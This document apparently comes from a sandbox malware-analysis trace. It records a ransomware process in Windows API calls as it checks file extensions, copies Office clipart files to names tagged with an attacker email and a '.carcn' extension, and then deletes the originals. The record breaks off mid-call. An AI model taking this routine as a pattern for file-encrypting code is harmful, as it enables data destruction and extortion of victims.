[0298.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.613] lstrlenW (lpString=".doc") returned 4 [0298.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.613] lstrlenW (lpString=".docx") returned 5 [0298.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.613] lstrlenW (lpString=".pdf") returned 4 [0298.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.613] lstrlenW (lpString=".xls") returned 4 [0298.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.613] lstrlenW (lpString=".xlsx") returned 5 [0298.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.613] lstrlenW (lpString=".ppt") returned 4 [0298.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.613] lstrlenW (lpString=".zip") returned 4 [0298.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.613] lstrlenW (lpString=".rar") returned 4 [0298.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.613] lstrlenW (lpString=".bz2") returned 4 [0298.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.614] lstrlenW (lpString=".7z") returned 3 [0298.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.614] lstrlenW (lpString=".dbf") returned 4 [0298.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.614] lstrlenW (lpString=".1cd") returned 4 [0298.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0298.614] lstrlenW (lpString=".jpg") returned 4 [0298.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.614] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.614] lstrlenW (lpString="BS00136_.WMF") returned 12 [0298.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.615] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2166) returned 1 [0298.615] CloseHandle (hObject=0x380) returned 1 [0298.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0298.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.616] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.619] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.620] GetLastError () returned 0x0 [0298.620] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x876, lpOverlapped=0x0) returned 1 [0298.621] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x880, lpOverlapped=0x0) returned 1 [0298.622] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.622] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.623] SetEndOfFile (hFile=0x36c) returned 1 [0298.623] CloseHandle (hObject=0x36c) returned 1 [0298.623] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.623] SetEndOfFile (hFile=0x380) returned 1 [0298.625] CloseHandle (hObject=0x380) returned 1 [0298.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0298.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.626] lstrlenW (lpString=".doc") returned 4 [0298.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString=".docx") returned 5 [0298.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.626] lstrlenW (lpString=".pdf") returned 4 [0298.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString=".xls") returned 4 [0298.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.626] lstrlenW (lpString=".xlsx") returned 5 [0298.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.626] lstrlenW (lpString=".ppt") returned 4 [0298.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.626] lstrlenW (lpString=".zip") returned 4 [0298.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.626] lstrlenW (lpString=".rar") returned 4 [0298.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString=".bz2") returned 4 [0298.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString=".7z") returned 3 [0298.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.626] lstrlenW (lpString=".dbf") returned 4 [0298.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.627] lstrlenW (lpString=".1cd") returned 4 [0298.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.627] lstrlenW (lpString=".jpg") returned 4 [0298.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.627] lstrlenW (lpString=".doc") returned 4 [0298.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.627] lstrlenW (lpString=".docx") returned 5 [0298.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.627] lstrlenW (lpString=".pdf") returned 4 [0298.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.627] lstrlenW (lpString=".xls") returned 4 [0298.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.627] lstrlenW (lpString=".xlsx") returned 5 [0298.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.627] lstrlenW (lpString=".ppt") returned 4 [0298.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.628] lstrlenW (lpString=".zip") returned 4 [0298.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.628] lstrlenW (lpString=".rar") returned 4 [0298.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".bz2") returned 4 [0298.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString=".7z") returned 3 [0298.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.628] lstrlenW (lpString=".dbf") returned 4 [0298.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.628] lstrlenW (lpString=".1cd") returned 4 [0298.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0298.628] lstrlenW (lpString=".jpg") returned 4 [0298.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.629] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.629] lstrlenW (lpString="BS00145_.WMF") returned 12 [0298.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.629] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1712) returned 1 [0298.629] CloseHandle (hObject=0x380) returned 1 [0298.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0298.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.630] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.630] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.631] GetLastError () returned 0x0 [0298.631] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x6b0, lpOverlapped=0x0) returned 1 [0298.950] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6c0, lpOverlapped=0x0) returned 1 [0298.961] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.961] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.962] SetEndOfFile (hFile=0x36c) returned 1 [0298.962] CloseHandle (hObject=0x36c) returned 1 [0298.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.962] SetEndOfFile (hFile=0x380) returned 1 [0298.963] CloseHandle (hObject=0x380) returned 1 [0298.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0298.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.964] lstrlenW (lpString=".doc") returned 4 [0298.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.964] lstrlenW (lpString=".docx") returned 5 [0298.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.964] lstrlenW (lpString=".pdf") returned 4 [0298.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.964] lstrlenW (lpString=".xls") returned 4 [0298.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.964] lstrlenW (lpString=".xlsx") returned 5 [0298.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.964] lstrlenW (lpString=".ppt") returned 4 [0298.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.964] lstrlenW (lpString=".zip") returned 4 [0298.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.964] lstrlenW (lpString=".rar") returned 4 [0298.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.964] lstrlenW (lpString=".bz2") returned 4 [0298.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.964] lstrlenW (lpString=".7z") returned 3 [0298.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString=".dbf") returned 4 [0298.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString=".1cd") returned 4 [0298.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString=".jpg") returned 4 [0298.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString=".doc") returned 4 [0298.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString=".docx") returned 5 [0298.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.965] lstrlenW (lpString=".pdf") returned 4 [0298.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString=".xls") returned 4 [0298.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.965] lstrlenW (lpString=".xlsx") returned 5 [0298.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.965] lstrlenW (lpString=".ppt") returned 4 [0298.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.965] lstrlenW (lpString=".zip") returned 4 [0298.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.965] lstrlenW (lpString=".rar") returned 4 [0298.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.966] lstrlenW (lpString=".bz2") returned 4 [0298.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.966] lstrlenW (lpString=".7z") returned 3 [0298.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.966] lstrlenW (lpString=".dbf") returned 4 [0298.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.966] lstrlenW (lpString=".1cd") returned 4 [0298.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0298.966] lstrlenW (lpString=".jpg") returned 4 [0298.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.966] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.966] lstrlenW (lpString="BS00443_.WMF") returned 12 [0298.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.967] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1676) returned 1 [0298.967] CloseHandle (hObject=0x380) returned 1 [0298.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0298.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.967] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.967] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.969] GetLastError () returned 0x0 [0298.969] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x68c, lpOverlapped=0x0) returned 1 [0298.981] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x690, lpOverlapped=0x0) returned 1 [0298.982] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.982] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.982] SetEndOfFile (hFile=0x36c) returned 1 [0298.982] CloseHandle (hObject=0x36c) returned 1 [0298.982] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.982] SetEndOfFile (hFile=0x380) returned 1 [0298.983] CloseHandle (hObject=0x380) returned 1 [0298.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.984] lstrlenW (lpString=".doc") returned 4 [0298.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".docx") returned 5 [0298.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.984] lstrlenW (lpString=".pdf") returned 4 [0298.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".xls") returned 4 [0298.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.984] lstrlenW (lpString=".xlsx") returned 5 [0298.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.984] lstrlenW (lpString=".ppt") returned 4 [0298.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString=".zip") returned 4 [0298.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.985] lstrlenW (lpString=".rar") returned 4 [0298.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".bz2") returned 4 [0298.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".7z") returned 3 [0298.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString=".dbf") returned 4 [0298.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString=".1cd") returned 4 [0298.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString=".jpg") returned 4 [0298.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.985] lstrlenW (lpString=".doc") returned 4 [0298.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".docx") returned 5 [0298.985] lstrcmpiW 